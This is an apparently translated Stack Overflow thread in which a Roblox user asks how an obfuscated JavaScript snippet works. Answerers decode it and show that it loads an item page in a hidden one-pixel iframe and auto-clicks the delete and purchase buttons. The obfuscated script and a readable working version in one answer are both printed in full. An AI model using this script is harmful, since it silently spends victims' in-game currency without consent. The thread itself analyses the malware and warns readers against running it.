有人能告诉我这段代码是如何工作的吗？答案

【问题标题】：Can someone tell me how this code works?有人能告诉我这段代码是如何工作的吗？
【发布时间】：2013-06-05 20:26:36
【问题描述】：

我是游戏 Roblox 的用户，有人让我运行这个游戏。我知道这很糟糕，因为我禁用了通过购买 T 恤来拿走某人钱的部分，即代码底部的 /*iframe[_0xebe7[20]] = whe;*/ 行。

变量_0x2d54 是如何工作的？我以前从未见过这种类型的编码，这让我很困惑，因为我想理解它。

我不确定十六进制编码是如何工作的，但我遇到了一个类似的帖子：Decode this strange Javascript

var _0x2d54=["\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x72\x6F\x62\x6C\x6F\x78\x2E\x63\x6F\x6D\x2F\x66\x6F\x72\x2D\x74\x72\x61\x64\x65\x73\x2D\x69\x74\x65\x6D\x3F\x69\x64\x3D\x36\x37\x39\x32\x38\x39\x31\x38","\x69\x66\x72\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x50\x75\x72\x63\x68\x61\x73\x65\x57\x69\x74\x68\x52\x6F\x62\x75\x78\x42\x75\x74\x74\x6F\x6E","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x50\x72\x6F\x63\x65\x65\x64\x57\x69\x74\x68\x50\x75\x72\x63\x68\x61\x73\x65\x42\x75\x74\x74\x6F\x6E","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x62\x74\x6E\x44\x65\x6C\x65\x74\x65","\x77\x69\x64\x74\x68","\x31","\x68\x65\x69\x67\x68\x74","\x7A\x2D\x69\x6E\x64\x65\x78","\x73\x74\x79\x6C\x65","\x2D\x31","\x63\x6F\x6E\x74\x65\x6E\x74\x44\x6F\x63\x75\x6D\x65\x6E\x74","\x69\x66\x72\x61\x6D\x65\x20\x6C\x6F\x61\x64\x65\x64","\x6C\x6F\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6E\x66\x69\x72\x6D\x44\x65\x6C\x65\x74\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77","\x63\x6C\x69\x63\x6B","\x73\x72\x63","\x6F\x6E\x6C\x6F\x61\x64","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];
var _0xebe7=[_0x2d54[0],_0x2d54[1],_0x2d54[2],_0x2d54[3],_0x2d54[4],_0x2d54[5],_0x2d54[6],_0x2d54[7],_0x2d54[8],_0x2d54[9],_0x2d54[10],_0x2d54[11],_0x2d54[12],_0x2d54[13],_0x2d54[14],_0x2d54[15],_0x2d54[16],_0x2d54[17],_0x2d54[18],_0x2d54[19],_0x2d54[20],_0x2d54[21],_0x2d54[22]];
var shirt=_0xebe7[0];
var iframe=document[_0xebe7[2]](_0xebe7[1]);
var b1=_0xebe7[3];
var b2=_0xebe7[4];
var b3 =_0xebe7[5];
iframe[_0xebe7[6]] = _0xebe7[7];
iframe[_0xebe7[8]] = _0xebe7[7];
iframe[_0xebe7[10]][_0xebe7[9]] = _0xebe7[11];

function whe(){
    var _0x9b91x8 = iframe[_0xebe7[12]]; 
    console[_0xebe7[14]](_0xebe7[13]);
    if (_0x9b91x8[_0xebe7[15]](b3)){
        iframe[_0xebe7[17]][_0xebe7[16]] = (function (){
            return function (){
                return true;
            } 
        ;} 
        )();
        iframe[_0xebe7[12]][_0xebe7[15]](b3)[_0xebe7[18]]();
    } else {
        if(_0x9b91x8[_0xebe7[15]](b2)){
            iframe[_0xebe7[12]][_0xebe7[15]](b2)[_0xebe7[18]]();
        } else {
            if(_0x9b91x8[_0xebe7[15]](b1)){
                iframe[_0xebe7[12]][_0xebe7[15]](b1)[_0xebe7[18]]();
            } 
        } 
    } 
} 
iframe[_0xebe7[19] ]= shirt;
/*iframe[_0xebe7[20]] = whe;*/
document[_0xebe7[22]][_0xebe7[21]](iframe);

【问题讨论】：

它被混淆了，你可以console.log(_0xebe7)查看变量的所有值。要获取值并稍微提高可读性，您可以使用jsbeautifier.org
你不明白哪一部分？十六进制转义？
也许代码是从某个地方提取的，而源代码已将其“缩小”。因此，无论谁得到它，都会仔细阅读并尝试使其更具可读性。
这是我看不懂的十六进制代码。上面会编辑。
var _0xebe7 = ['http://www.roblox.com/for-trades-item?id=67928918', 'iframe', 'createElement', 'ctl00_cphRoblox_PurchaseWithRobuxButton', 'ctl00_cphRoblox_ProceedWithPurchaseButton', 'ctl00_cphRoblox_btnDelete', 'width', '1', 'height', 'z-index', 'style', '-1', 'contentDocument', 'iframe loaded', 'log', 'getElementById', 'confirmDelete', 'contentWindow', 'click', 'src', 'onload', 'appendChild', 'body'];

标签： javascript google-chrome iframe

【解决方案1】：

您必须努力理解这段代码。开发人员故意让它难以理解。

他们对代码进行了模糊处理，以减慢复制代码的其他人的速度。

~~您可以从更改变量开始，然后运行代码以查看发生了什么变化。这将为您提供有关该特定变量的作用的提示。但是有很多变数。~~

编辑：实际上，我收回了这一点。尽量先不运行代码来理解代码。正如 Mathew 在下面指出的那样，它可能是恶意软件。然后，一旦你有了更好的想法，就仔细戳它。

【讨论】：

You can start by changing the variables and running the code to see what changes. 我强烈建议没有人运行此代码。特别是如果他们有 roblox.com 帐户。
同意 100% @MathewFoscarini。我什至没有想到这个角度。
@MathewFoscarini：在隐身窗口中运行它应该是相当安全的。

【解决方案2】：

它包含多个值的数组。

[
    "http://www.roblox.com/for-trades-item?id=67928918", 
    "iframe", 
    "createElement", 
    "ctl00_cphRoblox_PurchaseWithRobuxButton", 
    "ctl00_cphRoblox_ProceedWithPurchaseButton", 
    "ctl00_cphRoblox_btnDelete", 
    "width", 
    "1", 
    "height", 
    "z-index", 
    "style", 
    "-1", 
    "contentDocument", 
    "iframe loaded", 
    "log", 
    "getElementById", 
    "confirmDelete", 
    "contentWindow", 
    "click", 
    "src", 
    "onload", 
    "appendChild", 
    "body"
]

在我看来这是一个讨厌的脚本，你不应该运行它。

【讨论】：

+1 表示“不要运行脚本”。我没有想到那个角度。
@John 是的，讨厌的东西。看起来受害者必须已经有一个 roblox.com 帐户，但它会尝试在您不知情的情况下购买零尺寸 iframe 的 T 恤。幸运的是，roblox.com 已经下架了该商品，并且不再出售。我真的不认为有 75 人自愿购买了这件 T 恤。

【解决方案3】：

基本上，它将iframe 添加到当前页面，以http://www.roblox.com/for-trades-item?id=67928918 作为源。然后它会尝试：

点击“删除”按钮，无需确认
点击“购买”按钮
点击“Robux”按钮

许多浏览器会保护您免受此类代码生成的点击事件的影响，但您仍然不应该运行它。

去混淆：

var iframe = document.createElement("iframe");
iframe.width = 1;
iframe.heigth = 1;
iframe.style.zIndex = -1;
iframe.src = "http://www.roblox.com/for-trades-item?id=67928918";

function whe() {
  var cDoc = iframe.contentDocument;
  console.log("iframe loaded");

  if (cDoc.getElementById("ctl00_cphRoblox_btnDelete")) {
    iframe.contentWindow.confirmDelete = (function () {
      return function () {
        return true;
      };
    })();

    iframe.contentDocument.getElementById("ctl00_cphRoblox_btnDelete").click();

  } else {
    if (cDoc.getElementById("ctl00_cphRoblox_ProceedWithPurchaseButton")) {
      iframe.contentDocument.getElementById("ctl00_cphRoblox_ProceedWithPurchaseButton").click();
    } else {
      if (cDoc.getElementById("ctl00_cphRoblox_PurchaseWithRobuxButton")) {
        iframe.contentDocument.getElementById("ctl00_cphRoblox_PurchaseWithRobuxButton").click();
      }
    }
  }
}

iframe.onload = whe;

document.body.appendChild(iframe);

【讨论】：

是的，我知道它做了什么以及它是如何实现的，但我不知道如何阅读代码。

【解决方案4】：

我的评论可能会被删除，因为它是答案而不是评论。

你可以通过 console.log(_0xebe7) 查看所有变量的值。要获取值并稍微提高可读性，您可以使用http://jsbeautifier.org

【讨论】：